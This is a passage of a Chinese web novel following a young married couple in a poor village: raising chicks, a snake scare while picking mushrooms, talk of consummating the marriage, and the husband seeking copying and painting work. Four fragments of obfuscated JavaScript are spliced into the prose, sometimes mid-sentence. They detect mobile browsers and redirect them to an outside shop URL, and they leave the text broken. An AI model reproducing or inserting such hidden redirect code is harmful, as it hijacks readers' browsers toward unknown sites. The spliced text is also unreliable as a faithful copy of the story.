小鸡吃不了太硬的东西,所以饲料最好拿水润软乎。许见秋还将一片青菜切碎了拌进去,吃青菜也对小鸡有好处。 他们俩的饭菜就不必做了,回家之前才吃过,再过会儿天就要黑了。 祁胜已经将笼子打开,自己看着小鸡不让跑远,不让狸奴接近。 “小黑,你的饭在这儿呢。”许见秋放下饲料盘,招手叫狸奴。 他给狸奴带了些食馆的剩菜剩饭,装在竹筒里,倒出来就能吃。 小黑就早上吃了东西,这会儿早饿了,闻见香味儿就瞬间跑过去,不再惦记鸡仔。 许见秋不觉露出道笑,走到祁胜旁边:“阿胜,我来看着它们,你去帮我把新泥炉和锅拿过来,盆和肥肉也拿来,我开锅。” 生铁铸成的锅必须得烧透拿油抹几遍,如此才能不沾好用,这活儿祁胜目前不会,只能许见秋来。 “倒也不难。”祁胜在旁边看了一遍,觉得已经学会了,“下回我来。” 铁重,开锅这种事,确实汉子做起来更顺手。 许见秋便不跟他客气:“好呀,下次就你来。” 开好锅,祁胜去挑水,许见秋将小鸡一一放回鸡笼,而后仍忍不住盯着看。 他看过爷奶和外祖家的鸡仔,小鸡仔其实都长的差不多,但是这回不一样,这是他自个买的,自己的鸡,就觉得似乎格外可爱。 祁胜挑了水回来,看见夫郎小孩似的蹲在鸡笼边,便放轻了脚步,慢慢走到许见秋身后,突然戏谑出声:“鸡就这般好看?” “好看。”许见秋认真点头,头也不回,“你不觉得好看么?” 祁胜道:“一般,不及我半分。” 许见秋失笑:“你人怎么还跟鸡比较。” “万物平等,如何就不能比较了。”祁胜放下担子,还要问他,“你觉得哪个更好看?” “你好看。”许见秋不大走心地回道。 祁胜不满意这回答,从背后箍住腰将人抱起来,偷了个香。 随后不等人回神,就又将人放下,提着水桶无事人一般去填水缸。 许见秋摸了摸脸,情不自禁又露出道笑。 他不知道除爹娘外其他夫妻在家如何相处,但像他和祁胜这样,他已觉得十分满足了。 就是晚间…… 二人虽亲密,却始终不到最后一步。 初时他怕,如今祁胜始终不过线,他仍然怕,只不过两厢怕的不同。 曾听年龄大的妇人夫郎闲嘴,汉子多好房事,若不喜爱,多半是不行,或者外头有了人。 祁胜外头肯定没人,对他也不像没兴趣,那方面…… 许见秋对汉子身体构造不了解,也不通医理,不敢妄下定论。 为防狸奴偷鸡吃,他将鸡笼提到旧屋子里锁上门,暂且不再思虑这件事。 如今已经很好了,便是祁胜有什么隐疾,只要能待他一如既往,他也不计较。 照料过菜地,二人便选起驴棚和鸡窝的地块。 无穷村的地不值钱,价格便宜得跟白送似的,他们便买了极大一块地,院墙圈起来的只是三分之一不到。 毕竟建结实院墙要不少钱呢。 不过圈起来的地方也已经很大了,再建五六间正房都不成问题。 “就这里吧,不妨碍客人从院门进来,若夜间有了响动,我们也能听得见。”祁胜画出一块地皮。 许见秋点头:“好,鸡窝是否要隔远一些?要不顺便再建个猫窝吧。” 有了驴棚鸡窝,独独先来到家里的小黑没有专属住处,显得厚此薄彼。 “成,狸奴干净,小黑又会自己找地方如厕,靠着我们的房子修一个便是,鸡窝离远些。” 鸡窝的地方由许见秋选定,决定先垒个小的,够这十只鸡用就成。日后若是养的鸡多了,再垒也不麻烦。 鸡窝猫窝都简单,上次建房余下些砖石材料,两个人赶在天黑前就做好了。 净了手,许见秋拿了两块米糕,一人吃一块,又给小鸡拌了些饲料。 “如今是小鸡还好,等长大了,总不能还锁在屋子里,得想法子教小黑不要吃鸡崽鸡蛋。”许见秋一边说着,一边轻轻摸了摸小黄鸡的羽毛。 祁胜:“还得买只狗,白日里我出门,留你一人在家不放心,夜间它也能帮着看家。” 无穷村养只鸡都要日夜防贼偷,他们养了十只鸡一头驴,更要防贼了。 “是要买。”买狗便宜,甚至不需要钱,打探一些相熟的人家哪家有狗崽就行了。 “若买了狗,还得垒个狗窝。”不过也不难。 要紧的还是得赶紧建驴棚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405065|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 建驴棚不费事,但因秋雨连绵,足足六日过后,驴棚才干透能用了。 温度又降了些,晨间已有些觉得冷,加了件衣裳才暖和。 早食煮了青菜面条,没加鸡蛋,但因为用的白面多,调味好,吃着也很满足舒坦。 今日许见秋不打算去镇上,只让祁胜一人去将驴车赶回,再托爹娘帮忙打听谁家有狗崽即可。 ——村里穷,养狗费粮食,前几日他们已在村里打听过,没有狗崽。 “我晌午之前定然回来,你一个人在家,一定要谨慎小心,别随便给人开门。” 听着叮嘱,许见秋心里暖融融的:“我晓得,你也一样,赶车要小心,路上不必着急。” 两个人抱了一下,祁胜便出门去了。 许见秋上回被李三调戏,后来祁胜虽为他报了仇,到底留下了些阴影。 因此,看着祁胜走远,他便将院门关紧,放上门闩。 将屋里不洁净的地方打扫一遍,喂了狸奴,把小鸡从笼子里拿出来喂食放风,之后便没紧要的事了。 将小桌搬出,独自坐在院子里缝衣裳,许见秋不觉畅想:若是鸡仔养成了,便可修个大院墙,多喂鸡,还能养些牛羊。 若是都养成了,这便是长久营生,至少吃穿不愁。 不若来年开春便试着养上一两头羊,那时手里应当有买羊的钱。 他想的好,心情开朗,竟不自觉笑出了声。 又自己笑自己傻,完全是没影的事儿,这十只鸡还不一定能成活呢。 * 祁胜这头顺利抵达食馆,自是没有意外。 听他说想要一只狗崽,赵雪梅想起巷子里有一户人家的狗才下崽,便说去问问。 因白日离开汉子出去做活,只有妇人孩子在家,祁胜就没有跟着去。 许成州恰好放旬假,陪着他喝茶。 四下看了看,确定院子里没别人了,许成州才压低声音开口:“胜哥,我跟你说一件事,你不要告诉我二哥。” “何事?”祁胜扬眉。 “胡天楠交了笔罚金,已经被放出来了,而且马上就要成亲了。” 闻言,祁胜心里已经有了猜测,只装作不知:“这么快成亲?他名声都毁了,哪家的姑娘哥儿愿意嫁给他?” “他名声是毁了,可胡家还有钱,据说罚金交了一千两,这回聘礼也有足足百两。” 祁胜道:“百两虽多,可他胡家是富户,想必结亲的也是富户,嫁妆也多。” “都说了是冲着钱嫁给他的,哪可能是门当户对的结亲。”许成州气愤说,“要嫁给他的就是个普通哥儿,关键这哥儿跟我们还认识,就是我亲舅舅的亲儿子。” 果然是赵春儿。 “明明知道我们家的事,却还是要嫁给胡家那个混账,真不知该怎么说他们。”许成州道,“反正今年我是绝不会给他家拜年的。” “我和你二哥也不会去。” “你们当然不能去,否则遇见了胡家人,岂不是犯恶心。” 祁胜拿起茶壶,将许成州的茶杯添满,道:“事情已经发生了,你且消消气,别为不值当的人气坏身子。” 许成州一口气将一杯茶喝完,说:“我还好,爹娘也还好,就是怕二哥知道了难受,赵春儿和他一样大,他们以前玩得还不错,结果……” “无妨,早些认清他们的嘴脸,好过日后再挨刀子。”祁胜道,“至于你二哥那边,我会慢慢跟他说。” 29. 上山 “春儿,你是想吃鸡蛋面还是臊子面?”隔着一道门,赵母在外屋柔声询问。 一百两聘礼,赵春儿要了二十两说当嫁妆,还有八十两留在自家。有了这笔银子,她便不再去当那受气婆子,心中畅快,对儿女就好,尤其是对待让家里富裕起来的“小财神”。 以后嫁去胡家,还要指望春哥儿补贴娘家呢,出嫁前的几天可要供着。 屋内赵春儿的心境就完全不同了,他心中沉甸甸的,喜悦很少。 “随便。”他冷漠答了话,左手下意识覆在腹部。 他肚子不舒服,往下更是难受。 但这与怀孕无关,因为他根本就没有怀孕。 药三给他把过脉,他只是忧思成疾导致头晕恶心呕吐,并非害喜。 但药三帮着他骗过了胡天楠,导致胡天楠真以为他腹中有了孩子,又被拿捏着已经“不能人事”的把柄,才给了他一百两聘礼。 作为交换,他的身子被药三糟蹋了一回。 这一回跟前一回可不一样,胡天楠那会儿好歹会哄着他,甜言蜜语说着,也没有过火的动作,就疼那一小会儿。 可药三就……许是嫖得多了,不止花样多,身体更是肮脏丑陋。 脏就容易得病,不知他会不会得病。 想到此处,赵春儿忍不住趴在桌子上痛哭起来。 早知没有怀孕,他就不做后面的事,事到如今,他是真的被毁了…… * 巷子里那户人家确实有了狗崽,但狗崽才出生几天,等到满月后抱回去才好活。 “我跟她说好了,等到满月,先让你们去挑,钱给个二十文就行了。” 二十文买只狗崽,比市面上不知便宜多少,还有保障,祁胜自是应下,道了谢。 “一家人不必客气。”赵雪梅道,“知道你晌午要回家吃,正好我腌了些咸鸭蛋,你带回去几个吧。” 说是几个,实则拿了十个,还拿了约摸半斤卤肉,说给他们午食添个菜。 无穷村买肉不容易,这几天家里确实没有荤腥,祁胜想了想,没有推拒。 纵使他不吃,许见秋也是要吃的,再者,已经受了许家那么多接济,这会儿推辞一块肉,未免虚伪。 记在心里,多多孝顺岳父岳母,日后有了钱,加倍回报便是。 食馆周遭人员广杂,街上人多,祁胜出了门后,由于和这头黑驴还不熟悉,便没有将驴车赶起来,只是牵着驴走。 等到了人少的大道,他才坐上车,将驴赶起来。 一路上很平顺,驴没有闹一点脾气。 回到家,因为时辰还早,许见秋还没有开始做晌午饭。 “正好我想吃肉,就拿这块肉炖菜,再蒸个米饭就行了。”许见秋接过油纸包的肉,又取下菜刀切肉,“我们早些吃午食,吃完后便去山上砍柴。” ——他们建新屋时,顺便建了柴棚,柴棚背靠院墙,只需额外再建两面墙,花钱不多,容量却很大,也方便取用。 厨房还是原来的旧屋,另一个屋子,预备放收来的菜。 “成,我去洗菜。”祁胜拿着洗菜盆子出去。 把菜都洗净后,他回到厨房先将米下锅,后锅添上水,把火点了起来。 一边烧火,他一边斟酌着开口:“秋哥儿,今日我在镇上听说了一件事。” 许见秋切菜的动作没停,只嗯了一声,示意他继续说。 “赵春儿不日将嫁给胡天楠,聘礼已经给了一百两。” 闻言,许见秋动作顿了一下:“然后呢。” “没了。” “哦,这不是意料之中的事吗。”许见秋继续切菜,“当时你找春哥儿要银子时不就说了,会助他嫁进胡家。” 见哥儿没有半分神伤的模样,祁胜才松了口气:“你不在意就好。” “我在意,但我并不在意他们和谁在一起,只在意他们会不会得到报应。”切完菜,许见秋将菜刀放在砧板上,坦白道,“若他们成婚后日子过得好,那我肯定会难受。” 他掀开后锅看了一眼,果然水还没有开,便和祁胜一同烧火。 祁胜将小凳子让给他坐:“胡家已经分家,如今胡天楠交了罚金,又出了这么多聘礼,估计家里剩不了多少钱。” 继续道:“以他们二人的性格,还有胡天楠如今的身体状况,你且放心吧,他们是决计过不好日子的。” 许见秋心里也是这般想的,他和祁胜能够过好,是因为有家里扶持,他们二人也齐心协力,互相看重。 可胡天楠和赵春儿,恐怕只剩下了互相算计。 — 吃过午食,二人锁了门,牵着驴上山。 无穷村附近的公山都不高,但是多,连绵不绝,若是生人进山,跑得深了,很容易迷路。 山中有狼,据说还有老虎。 两人走得不算深,倒是不怕遇见虎狼。 将驴栓好,祁胜用斧子砍柴,许见秋就捡地上的干柴和松果。 干松果内里有油,用来引火很好用。 捡了两篮子干柴后,许见秋瞥见地面上似有地扣菇,便将落叶拨开去看。 一看果真是地扣菇,心里不由一喜。 蘑菇向来价贵,也好吃,地扣菇更贵,比肉还贵,挖回去无论自家吃还是送到食馆,都是极好的。 想到这里,他便不再捡柴,开始专心找蘑菇。 蘑菇都隐藏在落叶下,一处挖完,便要去翻另一处的落叶。 挖了几处,看着篮子里的地扣菇越来越多,许见秋心情也更好,手上动作不由得加快。 地扣菇只在秋季有,下完雨容易长蘑菇,如果今日不多挖一些,下次再上山,说不准就被别人给挖完了。 这般想着,他伸手去拂另一处落叶,手落下去的一瞬间,却察觉感触不对。 还不等他反应过来,指腹便有什么东西滑了过去,一条枯叶色的长虫从树叶中跃起,眼看是冲着他来了。 危急时刻,许见秋下意识挥了一巴掌,惊叫一声,将长虫打开,没叫咬着自己,已是心惊肉跳。 他篮子都不敢拎,以最快的速度站起来,往祁胜那边跑去。 祁胜听见他的声音,也朝他跑过来,两厢交汇后,他的腿脚才后知后觉地发软。 “怎么了?”祁胜看出夫郎脸色不对,将人扶抱住,急声询问。 “有蛇。”许见秋抱住汉子,心里才安稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405066|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点。 祁胜脸色顿变,追问:“咬着你了吗?” “没咬到。”许见秋看了看自己的手,并没有伤,但那一瞬间的触感似乎还留在手上,叫他惧怕。 又检查了一遍,确定真的没有咬到,祁胜才去把篮子拎回来。 将篮子放在旁边,祁胜发觉许见秋落了泪。 哥儿生的白,本就是惹人心动的长相,抿着嘴压抑着声音哭起来时,更是令人心脏发疼。 “蘑菇虽贵,可山上毒物多,咱们这里距离医馆又远,难以及时救治,还是别采蘑菇了。”祁胜半跪在哥儿旁边,掏出手帕,擦了擦对方脸上的泪珠,“以后我会好好干活挣钱,有我在,不会叫你饿着,想吃蘑菇也能买。” 许见秋打小生活在镇上,不知道毒蛇会藏在落叶下面,没有受过这样的惊吓,又有人心疼他,所以才控制不住流泪。 可被这样一哄,他又有些不好意思哭了:“我……不是很想吃蘑菇,就是没有经验。” 再者,蘑菇那么贵,能卖钱,谁见了能忍得住。 “没关系,以后不会再叫你犯险了。”祁胜自责,“也怪我,我明明知道这些,却忘了提醒你。” “我又没有跟你说我在找蘑菇。”许见秋知道今日只是他不够小心,以及运气不好。 上次他跟冯四哥一起上山割野菜,就没有遇见蛇。 “总之采蘑菇危险,还是别做了,也别捡柴了,捡不了多少,我多砍些就是。” 许见秋心中还在后怕,这会儿确实不敢一个人行动,便点了点头。 不过想到刚刚他将毒蛇打飞,又觉得自己反应很快,有几分飒气。 他将祁胜砍下来的木柴往车上放,心中回忆着那一幕,渐渐的,竟发觉自己对毒蛇反而没有以往没见过那般惧怕了。 也不是很厉害嘛,他一只手就能打飞。 但若要他立刻去和毒蛇对峙,他定是不敢的。 两人忙碌了几个时辰,傍晚才开始下山。 因为对驴不熟悉,许见秋没敢坐车,两人就走着回去。 才走了没多远,许见秋便看见了冯四哥。 冯四哥跟自己爷爷一起上山砍柴,拉了板车,这会儿也要下山。 见他们老少推得费力,祁胜便去拿了两捆放在驴车上,如此便能轻松不少。 “谢谢你们。”冯爷爷很是感激,用苍老的声音道谢。 他如今六十四岁,在无穷村已是高寿,像他这样的年龄,本不该做这些重活。可没法子,家里的担子又不能全压在一个十几岁的哥儿身上。 “都是一个村的,四哥儿也帮了我很多,不必道谢。”许见秋温声说罢,又询问道,“冯爷爷,我听说这山上有狼,还有老虎,是真的有吗?” 冯爷爷点头:“狼是真的有,我见过好几头,还见过成群的,不过都住在深处,不会成群靠近村子。” “但也有胆大的狼,会趁着黑夜进村偷东西,连小孩也敢咬。” “至于老虎,我年轻的时候听说有人见过,自己却没有亲眼看见。” 闻言,许见秋心中有了谱。 以后若要养鸡养羊,可得小心,不仅要防人偷,还得防狼偷。 30. 原因 回到家卸了柴,简单将剩饭一热,吃了后便可歇息。 许见秋洗完澡,早早躺上床,翻身时听见床响,不由得道:“不知咱们的新床什么时候打好。” 木匠吃香,家家户户打床做柜子添物件都得找木匠,活多做起来却慢,就得雇主等。 “应当快了,明日我去问问。”他们家距离木匠家有一段路,但如今有驴了,过去也快。 许见秋点点头,想到什么,低声说了句话。 祁胜没听清,叫他再说一遍。 说一遍已是耗尽勇气,第二遍哪里说的出来? 许见秋将脑袋埋在枕头里,不愿吭声。 祁胜确实没有听清楚,见夫郎久久不搭话,他还以为对方睡着了,于是侧身抱住夫郎,也准备入睡。 许见秋却在他怀里动了一下。 “没睡?” “睡了。”许见秋有点赌气。 听出气音,祁胜一头雾水,睡前还好好的,他什么都没做啊,为何夫郎开始生气了? “可是今天累着了?”祁胜猜测,“还没有忘记那条长虫?” 他揉着夫郎的手指道:“你放宽心,狸奴会抓蛇,有小黑在,家里绝不会有蛇出现。” “我不是怕。”许见秋翻身面对着他,“我心中在想另一件事。” “何事,跟我讲讲吧。” “圆房。”许见秋声音又小下去,“等新床到了,我们是不是该圆房了。” 这话本不该他一个哥儿提的,可…可祁胜总也不提! 原来是这档子事,祁胜恍然大悟,一时间心中滋味复杂,想笑又不敢笑。 “你怎么不说话,莫不是真有隐疾?”许见秋眉毛蹙起来。 祁胜不想笑了:“你为何会认为我有隐疾。” “若是没有,为何不圆房?” 祁胜深呼吸数次,一字一句道:“我是顾念着你年龄小,因此才一直忍着。” 天知道对于十七岁的汉子来讲,夜夜抱着自己喜欢的人却不能更进一步,是有多难捱。 “我已经满十六岁了。”许见秋小声说,“不算小了。” 十六岁的哥儿,普遍都嫁人了,有些甚至已经有了孩子。 祁胜却道:“十六岁还不到年龄,身体还没有长好,至少也得等到十七岁。” 又捏了捏夫郎的腰:“你若有难耐之处,与我直说便是,不圆房也能帮你。” 脸颊滚烫起来,许见秋又背过身:“我没有!” 虽然成亲后,偶尔也会往那方面想想,被逗弄起来也会有反应,但他真的没有难耐不堪。 只是别人都是成亲当日便圆房,也怕祁胜身有隐疾却瞒着他,他才大胆询问。 早知如此,他就不问了。 知道夫郎是不好意思,祁胜低笑两声:“嗯,我知你没有,但我却是有的。” 黑暗中,许见秋咬住嘴唇,不答话。 祁胜:“你若不说话,我就当你答应了。” 许见秋连忙出声:“没有答应。” “那就睡吧,别想东想西了。”祁胜粗糙的手掌覆在夫郎平坦的小肚子,隔着一层亵衣。 若真做了那档子事,不可避免的便是怀孕生子,哥儿的腰这般细,到时能撑得住吗? 岂不是要吃很多苦? 祁胜到底是个汉子,与妇人夫郎接触极少,路上遇见怀孕的妇人夫郎也不可能盯着人家瞧,在成亲之前,甚至没有往这个方面想过,不通内情。 不过这种事稍微一琢磨就知道定是要吃苦受罪的。 若想要孩子,哥儿吃苦受罪不可避免,他无法改变这件事,只能从别处下功夫。 譬如不叫许见秋在别处受罪。 简而言之,就是要挣钱,届时其它活儿便可分派给别人,许见秋不用干活,他也能腾出手照顾夫郎。 还是得挣钱,如今挣钱太慢了。 * 次日上午,二人去河边捡了两车石子,倒在院内。 捡这些石子是为了铺路,他们打算在院中铺出通往各个房屋以及门口的石子路,这样下雨走着也不泥泞。趁着天好将石子捡回来,等下雨润湿地面后,便可直接铺。 吃过晌午饭,祁胜驾着驴车出门收菜。 许见秋一人留在家里,怕不安全,出门又怕家里被贼偷,因此便想了个法子。 那就是叫别人来他这里。 他住到无穷村有一段时间了,当然不止认识冯四哥一家,尤其新院子建成后,许多村人来看热闹,那时认识了不少人。 但虽然农忙时节过去了,村人仍是各有各的忙碌,最终请回院子里的,只有冯奶奶、朱奶奶、朱家孙媳,以及几个童稚小孩。 孙媳名叫朱莲,恰好与朱家同姓,长着一张圆脸。 她已有身孕五个月,腹部隆起,朱家在无穷村算是日子好的,对头一个重孙子很看重,便不叫她上山拾柴,只让她在家做些家务,做做针线。 她正在给未出世的孩子缝虎头鞋。 许见秋则在绣手帕。 他在闺中时,做绣活儿不算多,毕竟要忙着食馆的生意,顾不过来。 但他为人细致有耐心,因此绣活儿很不错,还被专业的绣娘夸过。 给祁胜绣的荷包跟帕子,对方也说好看。 这回绣手帕却不是为了给自家人用,而是想等到年节时拿去镇上卖。 每方帕子只绣一个角,费不了多少时间,又能增色,年节时大家都会更舍得花钱,应当好卖。 像是他自己,未成亲时,过年出门就会忍不住买些好吃好玩好看的,镇上的人大多如此。 但他对自己的手艺还不是十分自信,所以打算先绣上几条,下次拿到镇上请绣娘看看,若是不成,就分给家里人用,也不浪费。 若是成了,家里便可添一笔进项。 添一笔是一笔,钱就是这样慢慢挣起来的。 “胜小子真是好福气,娶到你这样的夫郎。”朱奶奶不知何时走到了他身后,语气热情,“这帕子真漂亮,不愧是镇上来的哥儿。” 许见秋含蓄地道了声谢。 朱奶奶将凳子拉到他旁边,一边看他做针线,一边跟他说些闲话。 她说的大都是村里的事,真假混在一起,许见秋对无穷村不够了解,只当是听故事,听得还算津津有味。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405067|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等到傍晚祁胜回来,他还将有些故事给祁胜讲了一遍。 祁胜还真没听过这些,能给出最新鲜的反应,叫许见秋心里产生了一种莫名的满足感。 讲话有人认真听,就是觉得高兴。 祁胜还给他带了一则好消息:“新床已经做好了,明日木匠会送来。” “太好了。”许见秋心中一喜,“终于能换床了。” 他忍这个旧床很久了,动一下就响,还会晃,有时都怕床塌了。 “但还不能圆房。”祁胜故意道,“秋秋可会觉得失望?” 知道汉子是故意调戏自己,许见秋在薄被里踹了他一脚,背过身不理他了。 祁胜心里笑了几声,将人搂住,闭上眼寻周公去了。 * 由于祁胜要收菜的消息早就散播了出去,农忙已过,又很久没去收,所以昨日很顺利地收了一车。 今日全部过称,马齿苋一百二十斤,荠菜二十斤,木耳五斤,地软三斤。 总计一百四十八斤。 这比他们预计的量多出太多,他们打算七天赶车收一次,平日里若有人拿上门,也收。 若是每七天就能收这么多,一家食馆定然是吃不下的。要知道这些都是干菜,干菜一把就可以泡出很多了。 得找别的销路。 若找不到就砸在手里了。 原以为的挣钱项目,实际运行起来却可能贴钱,许见秋的两条眉毛顿时蹙了起来。 “别慌,收的多是好事,马上就冬日了,届时就挣不到这份钱了。”祁胜很乐观。 许见秋道:“可冬日过后又是春日,野菜生根发芽,一茬又一茬,若是次次都收这么多,我们怎么处理。” “那就不收这么多。”祁胜看着愁眉不展的夫郎,笑道,“你怎么犯傻了。” 主动权明明在他们手里,村民能采集到的野菜越多,他们挑选的余地也就越多。 听他解释完,反应过来,许见秋也觉得自己刚刚太傻。 他脸红了起来,道:“若是我们能都收下就好了。” 差价明摆着,明明能在村里收到这么多菜,却没有销路,这跟看着铜板一个个排队溜走有什么区别。 看出他心中所想,正好自己也想去镇上,祁胜道:“这样吧,我今日去镇上问问各家干菜铺子,看他们收不收。” “好。”许见秋点头,“我跟你一起去,正好我也有事。” 他想把手帕带去,问问相识的绣娘。 “我帮你带去便是。”祁胜想要办的事不一定能成,也不大光鲜,暂时不想被夫郎知道。 许见秋想了想:“你不认识她,恐怕不方便,我还是跟你一起去吧,干菜铺子我也比你熟悉。” 见祁胜似有犹豫,许见秋道:“不用担心家里被人偷,我会让冯奶奶过来帮忙看家的。” “我担心驴半路发脾气。”祁胜找借口。 许见秋看了一眼院内的黑驴:“我看它挺老实的,应当不会。” “可万一你受伤了,你叫我怎么办。”亲了一下哥儿的脸,祁胜哄着道,“等我跟这头驴再熟悉熟悉,下次带你去镇上。” 31. 找活 镇上 祁胜并未先去食馆,而是朝着反方向走,穿过几条街,走进一条青石板巷,在最里面那户人家门前停下。 他抬手敲门。 里面传来一道不大年轻的男声:“谁啊?” “阿叔,我找罗术。” 过了会儿,门开了,站在他面前的是名四五十岁的夫郎,个子稍矮,穿着浆洗干净的粗布衣,约摸正在洗衣裳,卷起的袖口有点湿,抬头打量他。 “阿叔,我叫祁胜,半年前来干过活。” 听见提醒,罗夫郎这才想起来:“是你啊,快进来吧,罗术出门买纸,应当快回来了。” 罗夫郎预测的不错,他刚坐下,罗术就抱着一大卷纸风风火火地回来了。 看见他倒是一愣:“你……找我什么事?” 罗术是个书生,有秀才功名但一直没去县里的学堂,以给人代笔、写话本为生。 半年前,他家建新屋子,祁胜过来搬了几天砖。 仅此而已,两人并无其它交集,因此罗术十分意外这名工匠会找自己。 “罗先生。”祁胜先作了个揖,而后道明来意。 “我今儿过来是受人之托,想麻烦您一件事。”祁胜从袖口中取出几页粗纸,“这是与我相识的一名书生所写文章,想请您帮忙看看好坏。” 罗术放下纸,拍了拍袖口,这才将纸接住,心中仍是觉得奇怪。 他跟祁胜根本不熟,怎么会想到来找他? 即使那书生写的,为何书生自己不来? 这些疑惑在看清楚字迹的一瞬间散掉。 旁的不说,这手字是真的有功底,水准可以直接用来答卷。 再看内容,用的是今年院试题目,表述清晰,旁征博引,文笔绝佳,让他越看越震惊。 “小哥,你说的那位书生叫什么名字,可参加了今年的院试?”看完后,罗术立即追问。 祁胜摇头:“他是白身。” “若是白身,明年便可下场,以这篇文章的水准,定能考过。” 祁胜又摇头:“他不会下场。” “为何?”罗术猜测,“可是家中贫困?” 这纸确实不好,可见家境贫寒,他自个也是因为家境不好,才没有进学堂。 “非也。” “可是身体有恙?尚在孝期?” “他身体康健,不在孝期。” 罗术皱眉:“除却这些,还能有何缘由?” “他是名哥儿,无法科举。” 此话一出,罗术恍然大悟的同时又增添了新的疑惑。 “既然不准备科举,把这些交给我看是想……?” “家境贫寒,碍于是哥儿,许多事做不了,想寻些谋生之道。” 懂了,来分他饭碗的。 罗术把几页纸递还给祁胜,端起一杯茶喝着,面上看不出情绪。 “您是个有本事的,所以我才特地来找您,想在您手下揽些活儿。”祁胜头一次这般卑微求职,不过心里倒没什么抵触。 一来当年他在刘家时就多番受主母掣肘,二来,从十四岁到成亲前,他过的一直是最苦的日子,与那些日子相比,说一两句软话算什么。 只要能挣到钱,能够叫夫郎少受些累,就是值得的。 罗术看着眼前容貌出色的少年人,又饮了一口茶。 他缓缓问道:“这文章是你夫郎写的?” 昏官乱判案,导致许家哥儿嫁去无穷村的事,罗术也听说了。 “不是他,我夫郎开蒙后只念过一年私塾,哪有这样大的本事。”祁胜不愿将夫郎牵扯进去,将早已编好的说辞拿出来,“罗先生,我跟你说实话吧,他出身官宦人家,通晓诗书,原本是要富贵一生的,可谁曾想家里出了变故,他受到牵连被发配为奴,几番辗转后,被卖到了村里。” “由于是买来的,没有娘家撑腰,他相公对他不好,一个铜板都不给他,对他的孩子也差,所以他才想自己攒些钱,好能吃饱穿暖。” “哦?”罗术玩味地笑了,“他叫什么?” 祁胜沉眸:“望您理解,此事不能相告,毕竟他是买来的夫郎。” 这事儿,罗术不全信,也不完全不信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405068|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但他并未拆穿,只道:“我手头确实有活儿,可我自个就挣的不多,你认识的那哥儿若要在我手下干活,只会挣的更少。” “无妨,挣一点是一点。”祁胜如今不挑。 罗术见他是诚心想要接活,问道:“可会仿画?” “得看是什么样的画。” “自然是畅销名画,譬如百年前的《上元节佳景》,今朝的《春闺怨》、《柳林情》等等。” 祁胜想了想,回道:“我得回去问问他。” 他当年身为官宦少爷,自然学过画,只是好几年不拿画笔了,不知自己如今能画成什么样。 “成。”罗术道,“帮人写文章赚得少,若是能仿画,少则一幅五六两,多则十几两,来钱快。” 若非他自己画技不成,也不会想把这好活儿分给旁人。 “我明白了,多谢罗先生,三日内我必定给您答复。” 罗术:“三日太慢,后日我便要答复,这是《春闺怨》,若能画,你让那人画一幅给我瞧瞧。” 罗术递给他一张成图,一张同样规格的画纸。 祁胜再度道谢,告辞离开。 而后他才去食馆送菜,又去酒楼和干菜铺子找销路。 不出所料,酒楼有自己的内部供货商,看见买菜的直接驱赶,干菜铺子倒是愿意看,但价钱压得极低。 因此,并未找到别的销路。 去南纸店买了两支兔毫笔,又买了三张画纸,祁胜赶车回村。 快到村镇交界处时,祁胜看见了一名摊贩。 抱着个木箱子,箱系宽绳,挂于肩上。 装扮倒是没什么稀奇的,卖的东西却稀奇。 他在叫卖酥糖,酥糖昂贵,一般只有糖铺和点心铺子会卖。摆摊叫卖的,倒是头一次见。 路人大多会朝他看一眼,但几乎没有愿意买的。 酥糖太贵了,本就只有少数人才能买得起,路边摊又没有保障,万一买到出问题的,第二天寻不见人了怎么办。 由于一直卖不出去,那年轻摊贩脸上不禁浮现出哀愁之色。 32. 酥糖 祁胜“吁”了一声,停下驴车,走上前问询:“小哥,酥糖怎么卖。” “论个卖,这么大一个只要五文钱,或者论斤,八十文一斤。” 八十文一斤,跟直接买糖一个价了,不过相较于铺子里就便宜很多,铺子里最便宜也得一百文一斤。 见他垂眸似在犹豫,摊贩连忙道:“碎糖可以尝。” 